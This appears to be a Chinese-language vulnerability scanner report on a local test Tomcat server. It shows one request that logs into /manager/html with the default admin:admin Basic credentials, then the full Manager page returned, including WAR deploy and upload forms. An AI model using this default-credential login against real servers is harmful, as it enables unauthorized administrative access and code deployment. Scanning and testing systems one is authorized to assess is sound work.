tomcat存在tomcat漏洞

漏洞地址： http://127.0.0.1:8081
漏洞详情：
一共1组payload:
第1组payload共发送1次请求:
发送第1次请求:
请求数据包：
GET /manager/html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Host: 127.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4=
请求响应包：
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2023 01:42:09 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 17460
Cache-Control: private
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Set-Cookie: JSESSIONID=3A5521A9BBE27EDE0ADBAD962D0551F3; Path=/manager; HttpOnly; SameSite=Strict
<html>
<head>
<link rel="stylesheet" href="/manager/css/manager.css">
<title>/manager</title>
</head>
<body bgcolor="#FFFFFF">
<table cellspacing="4" border="0">
<tr>
<td colspan="2">
<a href="https://tomcat.apache.org/" rel="noopener noreferrer">
<img class=tomcat-logo alt="The Tomcat Servlet/JSP Container"
src="/manager/images/tomcat.svg">
</a>
<a href="https://www.apache.org/" rel="noopener noreferrer">
<img border="0" alt="The Apache Software Foundation" align="right"
src="/manager/images/asf-logo.svg" style="width: 266px; height: 83px;">
</a>
</td>
</tr>
</table>
<hr size="1" noshade="noshade">
<table cellspacing="4" border="0">
<tr>
<td class="page-title" bordercolor="#000000" align="left" nowrap>
<font size="+2">Tomcat Web应用程序管理者</font>
</td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td class="row-left" width="10%"><small><strong>消息：</strong></small>&nbsp;</td>
<td class="row-left"><pre>OK</pre></td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="4" class="title">管理器</td>
</tr>
<tr>
<td class="row-left"><a href="/manager/html/list;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">应用程序列表</a></td>
<td class="row-center"><a href="/manager/../docs/html-manager-howto.html" rel="noopener noreferrer">HTML管理器帮助</a></td>
<td class="row-center"><a href="/manager/../docs/manager-howto.html" rel="noopener noreferrer">管理者帮助</a></td>
<td class="row-right"><a href="/manager/status;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">服务器状态</a></td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="6" class="title">应用程序</td>
</tr>
<tr>
<td class="header-left"><small>路径</small></td>
<td class="header-left"><small>版本号</small></td>
<td class="header-center"><small>显示.名称</small></td>
<td class="header-center"><small>运行中</small></td>
<td class="header-left"><small>会话</small></td>
<td class="header-left"><small>命令</small></td>
</tr>
<tr>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/" rel="noopener noreferrer">&#47;</a></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>未指定</i></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Welcome to Tomcat</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="&#47;manager&#47;html&#47;sessions;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">0</a></small></td>
<td class="row-left" bgcolor="#FFFFFF">
&nbsp;<small>启动</small>&nbsp;
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;stop;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> <small><input type="submit" value="停止"></small> </form>
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;reload;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> <small><input type="submit" value="重新加载"></small> </form>
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;undeploy;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> &nbsp;&nbsp;<small><input type="submit" value="卸载"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#FFFFFF">
<form method="POST" action="&#47;manager&#47;html&#47;expire;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<small>
&nbsp;<input type="submit" value="过期会话">&nbsp;闲置 &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;分钟&nbsp;
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><a href="/docs/" rel="noopener noreferrer">&#47;docs</a></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><i>未指定</i></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small>Tomcat Documentation</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small><a href="&#47;manager&#47;html&#47;sessions;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;docs&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">0</a></small></td>
<td class="row-left" bgcolor="#C3F3C3">
&nbsp;<small>启动</small>&nbsp;
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;stop;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;docs&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> <small><input type="submit" value="停止"></small> </form>
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;reload;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;docs&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> <small><input type="submit" value="重新加载"></small> </form>
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;undeploy;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;docs&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> &nbsp;&nbsp;<small><input type="submit" value="卸载"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#C3F3C3">
<form method="POST" action="&#47;manager&#47;html&#47;expire;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;docs&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<small>
&nbsp;<input type="submit" value="过期会话">&nbsp;闲置 &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;分钟&nbsp;
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/examples/" rel="noopener noreferrer">&#47;examples</a></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>未指定</i></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Servlet and JSP Examples</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="&#47;manager&#47;html&#47;sessions;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;examples&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">0</a></small></td>
<td class="row-left" bgcolor="#FFFFFF">
&nbsp;<small>启动</small>&nbsp;
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;stop;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;examples&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> <small><input type="submit" value="停止"></small> </form>
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;reload;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;examples&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> <small><input type="submit" value="重新加载"></small> </form>
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;undeploy;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;examples&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> &nbsp;&nbsp;<small><input type="submit" value="卸载"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#FFFFFF">
<form method="POST" action="&#47;manager&#47;html&#47;expire;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;examples&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<small>
&nbsp;<input type="submit" value="过期会话">&nbsp;闲置 &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;分钟&nbsp;
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><a href="/host-manager/" rel="noopener noreferrer">&#47;host-manager</a></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small><i>未指定</i></small></td>
<td class="row-left" bgcolor="#C3F3C3" rowspan="2"><small>Tomcat Host Manager Application</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#C3F3C3" rowspan="2"><small><a href="&#47;manager&#47;html&#47;sessions;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;host-manager&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">0</a></small></td>
<td class="row-left" bgcolor="#C3F3C3">
&nbsp;<small>启动</small>&nbsp;
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;stop;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;host-manager&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> <small><input type="submit" value="停止"></small> </form>
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;reload;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;host-manager&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> <small><input type="submit" value="重新加载"></small> </form>
<form class="inline" method="POST" action="&#47;manager&#47;html&#47;undeploy;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;host-manager&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE"> &nbsp;&nbsp;<small><input type="submit" value="卸载"></small> </form>
</td>
</tr><tr>
<td class="row-left" bgcolor="#C3F3C3">
<form method="POST" action="&#47;manager&#47;html&#47;expire;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;host-manager&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<small>
&nbsp;<input type="submit" value="过期会话">&nbsp;闲置 &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;分钟&nbsp;
</small>
</form>
</td>
</tr>
<tr>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><a href="/manager/" rel="noopener noreferrer">&#47;manager</a></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small><i>未指定</i></small></td>
<td class="row-left" bgcolor="#FFFFFF" rowspan="2"><small>Tomcat Manager Application</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small>true</small></td>
<td class="row-center" bgcolor="#FFFFFF" rowspan="2"><small><a href="&#47;manager&#47;html&#47;sessions;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;manager&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">2</a></small></td>
<td class="row-left" bgcolor="#FFFFFF">
<small>
&nbsp;启动&nbsp;
&nbsp;停止&nbsp;
&nbsp;重新加载&nbsp;
&nbsp;卸载&nbsp;
</small>
</td>
</tr><tr>
<td class="row-left" bgcolor="#FFFFFF">
<form method="POST" action="&#47;manager&#47;html&#47;expire;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?path=&#47;manager&amp;org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<small>
&nbsp;<input type="submit" value="过期会话">&nbsp;闲置 &ge;&nbsp;<input type="text" name="idle" size="5" value="30">&nbsp;分钟&nbsp;
</small>
</form>
</td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="2" class="title">部署</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>服务器上.部署的目录或WAR文件</small></td>
</tr>
<tr>
<td colspan="2">
<form method="post" action="/manager/html/deploy;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<table cellspacing="0" cellpadding="3">
<tr>
<td class="row-right">
<small>Context Path (required):</small>
</td>
<td class="row-left">
<input type="text" name="deployPath" size="20">
</td>
</tr>
<tr>
<td class="row-right">
<small>XML配置文件路径：</small>
</td>
<td class="row-left">
<input type="text" name="deployConfig" size="20">
</td>
</tr>
<tr>
<td class="row-right">
<small>WAR文件或文件夹路径：</small>
</td>
<td class="row-left">
<input type="text" name="deployWar" size="40">
</td>
</tr>
<tr>
<td class="row-right">
&nbsp;
</td>
<td class="row-left">
<input type="submit" value="部署">
</td>
</tr>
</table>
</form>
</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>要部署的WAR文件</small></td>
</tr>
<tr>
<td colspan="2">
<form method="post" action="/manager/html/upload;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE" enctype="multipart/form-data">
<table cellspacing="0" cellpadding="3">
<tr>
<td class="row-right">
<small>选择要上传的WAR文件</small>
</td>
<td class="row-left">
<input type="file" name="deployWar" size="40">
</td>
</tr>
<tr>
<td class="row-right">
&nbsp;
</td>
<td class="row-left">
<input type="submit" value="部署">
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="2" class="title">配置</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>重新读取 TLS 配置文件</small></td>
</tr>
<tr>
<td colspan="2">
<form method="post" action="/manager/html/sslReload;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<table cellspacing="0" cellpadding="3">
<tr>
<td class="row-right">
<small>TLS 主机名字（可选)</small>
</td>
<td class="row-left">
<input type="text" name="tlsHostName" size="20">
</td>
</tr>
<tr>
<td class="row-right">
&nbsp;
</td>
<td class="row-left">
<input type="submit" value="重复读">
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<br><table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="2" class="title">诊断</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>检查Web应用程序是否在停止、重新加载或取消部署时导致内存泄漏</small></td>
</tr>
<tr>
<td class="row-left">
<form method="post" action="/manager/html/findleaks;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<input type="submit" value="发现泄漏">
</form>
</td>
<td class="row-left">
<small>诊断检查将触发完整的垃圾收集，在生产系统中使用时要格外小心。</small>
</td>
</tr>
<tr>
<td colspan="2" class="header-left"><small>TLS连接器配置诊断</small></td>
</tr>
<tr>
<td class="row-left">
<form method="post" action="/manager/html/sslConnectorCiphers;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<input type="submit" value="密码">
</form>
</td>
<td class="row-left">
<small>列出每个配置好的TLS虚拟主机和密码。</small>
</td>
</tr>
<tr>
<td class="row-left">
<form method="post" action="/manager/html/sslConnectorCerts;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<input type="submit" value="证书">
</form>
</td>
<td class="row-left">
<small>列出已配置的TLS虚拟主机以及各自的证书链</small>
</td>
</tr>
<tr>
<td class="row-left">
<form method="post" action="/manager/html/sslConnectorTrustedCerts;jsessionid=3A5521A9BBE27EDE0ADBAD962D0551F3?org.apache.catalina.filters.CSRF\_NONCE=34174C86310CD57D9681C8BF5B2279DE">
<input type="submit" value="认证证书">
</form>
</td>
<td class="row-left">
<small>列出每个配置好的TLS虚拟主机和认证证书。</small>
</td>
</tr>
</table>
<br><table border="1" cellspacing="0" cellpadding="3">
<tr>
<td colspan="8" class="title">服务器信息</td>
</tr>
<tr>
<td class="header-center"><small>Tomcat.版本</small></td>
<td class="header-center"><small>JVM.版本</small></td>
<td class="header-center"><small>JVM提供商</small></td>
<td class="header-center"><small>OS.名称</small></td>
<td class="header-center"><small>操作系统版本</small></td>
<td class="header-center"><small>操作系统架构</small></td>
<td class="header-center"><small>主机名</small></td>
<td class="header-center"><small>IP地址</small></td>
</tr>
<tr>
<td class="row-center"><small>Apache Tomcat/8.5.83</small></td>
<td class="row-center"><small>11.0.18+10-post-Ubuntu-0ubuntu120.04.1</small></td>
<td class="row-center"><small>Ubuntu</small></td>
<td class="row-center"><small>Linux</small></td>
<td class="row-center"><small>5.15.0-60-generic</small></td>
<td class="row-center"><small>amd64</small></td>
<td class="row-center"><small>qm</small></td>
<td class="row-center"><small>127.0.1.1</small></td>
</tr>
</table>
<br>
<hr size="1" noshade="noshade">
<center><font size="-1" color="#525D76">
<em>Copyright &copy; 1999-2022, Apache Software Foundation</em></font></center>
</body>
</html>
漏洞存在判断条件：
response.status == 200
结果：
存在漏洞